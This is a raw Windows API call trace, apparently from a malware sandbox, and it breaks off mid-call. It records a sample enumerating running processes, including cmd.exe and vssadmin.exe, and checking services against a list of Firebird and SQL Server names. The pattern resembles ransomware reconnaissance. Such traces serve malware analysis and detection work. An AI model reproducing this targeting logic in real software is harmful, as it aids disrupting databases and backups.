[0223.077] lstrlenW (lpString="svchost.exe") returned 11 [0223.077] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.077] lstrlenW (lpString="svchost.exe") returned 11 [0223.077] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.078] lstrlenW (lpString="svchost.exe") returned 11 [0223.078] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.079] lstrlenW (lpString="audiodg.exe") returned 11 [0223.079] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.079] lstrlenW (lpString="svchost.exe") returned 11 [0223.079] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.080] lstrlenW (lpString="svchost.exe") returned 11 [0223.080] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.081] lstrlenW (lpString="dwm.exe") returned 7 [0223.081] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.082] lstrlenW (lpString="explorer.exe") returned 12 [0223.082] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.082] lstrlenW (lpString="spoolsv.exe") returned 11 [0223.082] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0223.083] lstrlenW (lpString="taskhost.exe") returned 12 [0223.083] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.083] lstrlenW (lpString="svchost.exe") returned 11 [0223.083] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0223.084] lstrlenW (lpString="taskeng.exe") returned 11 [0223.084] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0223.085] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0223.085] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0223.085] lstrlenW (lpString="nova.exe") returned 8 [0223.085] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0223.088] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0223.088] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0223.089] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0223.089] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0223.089] lstrlenW (lpString="picks blair.exe") returned 15 [0223.089] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0223.090] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0223.090] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0223.091] lstrlenW (lpString="principal.exe") returned 13 [0223.091] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0223.091] lstrlenW (lpString="transportation.exe") returned 18 [0223.091] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0223.092] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0223.092] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0223.093] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0223.093] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0223.093] lstrlenW (lpString="planned.exe") returned 11 [0223.093] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0223.094] lstrlenW (lpString="springer andrew.exe") returned 19 [0223.094] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0223.094] lstrlenW (lpString="cakes import.exe") returned 16 [0223.094] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0223.095] lstrlenW (lpString="theory.exe") returned 10 [0223.095] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0223.096] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0223.096] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0223.265] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0223.265] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0223.266] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0223.266] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0223.267] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0223.267] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0223.268] lstrlenW (lpString="indicescancellation.exe") returned 23 [0223.268] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0223.269] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0223.269] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0223.269] lstrlenW (lpString="desk.exe") returned 8 [0223.269] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.270] lstrlenW (lpString="svchost.exe") returned 11 [0223.270] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0223.271] lstrlenW (lpString="sppsvc.exe") returned 10 [0223.271] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.271] lstrlenW (lpString="svchost.exe") returned 11 [0223.271] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.272] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0223.272] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0223.272] lstrlenW (lpString="winhost.exe") returned 11 [0223.272] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.273] lstrlenW (lpString="cmd.exe") returned 7 [0223.273] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.274] lstrlenW (lpString="conhost.exe") returned 11 [0223.274] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0223.274] lstrlenW (lpString="vssadmin.exe") returned 12 [0223.274] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0223.275] lstrlenW (lpString="VSSVC.exe") returned 9 [0223.275] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.275] lstrlenW (lpString="svchost.exe") returned 11 [0223.275] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0223.277] CloseHandle (hObject=0x21c) returned 1 [0223.277] Sleep (dwMilliseconds=0x1f4) [0223.897] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fc30 [0223.897] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0223.897] GetLastError () returned 0xea [0223.897] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40890a0, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40890a0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0223.898] CloseServiceHandle (hSCObject=0x63fc30) returned 1 [0223.898] lstrlenW (lpString="Appinfo") returned 7 [0223.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0223.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0223.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0223.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0223.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0223.898] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0223.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.898] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0223.898] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0223.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0223.898] lstrlenW (lpString="AudioSrv") returned 8 [0223.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0223.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0223.898] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0223.898] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0223.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0223.898] lstrlenW (lpString="BFE") returned 3 [0223.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0223.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0223.898] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0223.898] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0223.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0223.898] lstrlenW (lpString="CryptSvc") returned 8 [0223.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0223.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0223.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0223.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0223.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0223.898] lstrlenW (lpString="CscService") returned 10 [0223.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0223.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0223.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0223.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0223.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0223.898] lstrlenW (lpString="DcomLaunch") returned 10 [0223.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.898] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0223.898] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0223.899] lstrlenW (lpString="Dhcp") returned 4 [0223.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0223.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0223.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0223.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0223.899] lstrlenW (lpString="Dnscache") returned 8 [0223.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0223.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0223.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0223.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0223.899] lstrlenW (lpString="DPS") returned 3 [0223.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0223.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0223.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0223.899] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0223.899] lstrlenW (lpString="eventlog") returned 8 [0223.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0223.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0223.899] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0223.899] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0223.899] lstrlenW (lpString="EventSystem") returned 11 [0223.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0223.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0223.899] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0223.899] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0223.899] lstrlenW (lpString="FontCache") returned 9 [0223.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0223.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0223.899] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0223.899] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0223.899] lstrlenW (lpString="gpsvc") returned 5 [0223.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0223.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0223.899] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0223.899] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0223.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0223.900] lstrlenW (lpString="iphlpsvc") returned 8 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0223.900] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0223.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0223.900] lstrlenW (lpString="LanmanServer") returned 12 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0223.900] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0223.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0223.900] lstrlenW (lpString="LanmanWorkstation") returned 17 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0223.900] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0223.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0223.900] lstrlenW (lpString="lmhosts") returned 7 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0223.900] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0223.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0223.900] lstrlenW (lpString="MMCSS") returned 5 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0223.900] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0223.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0223.900] lstrlenW (lpString="MpsSvc") returned 6 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0223.900] lstrcmpiW 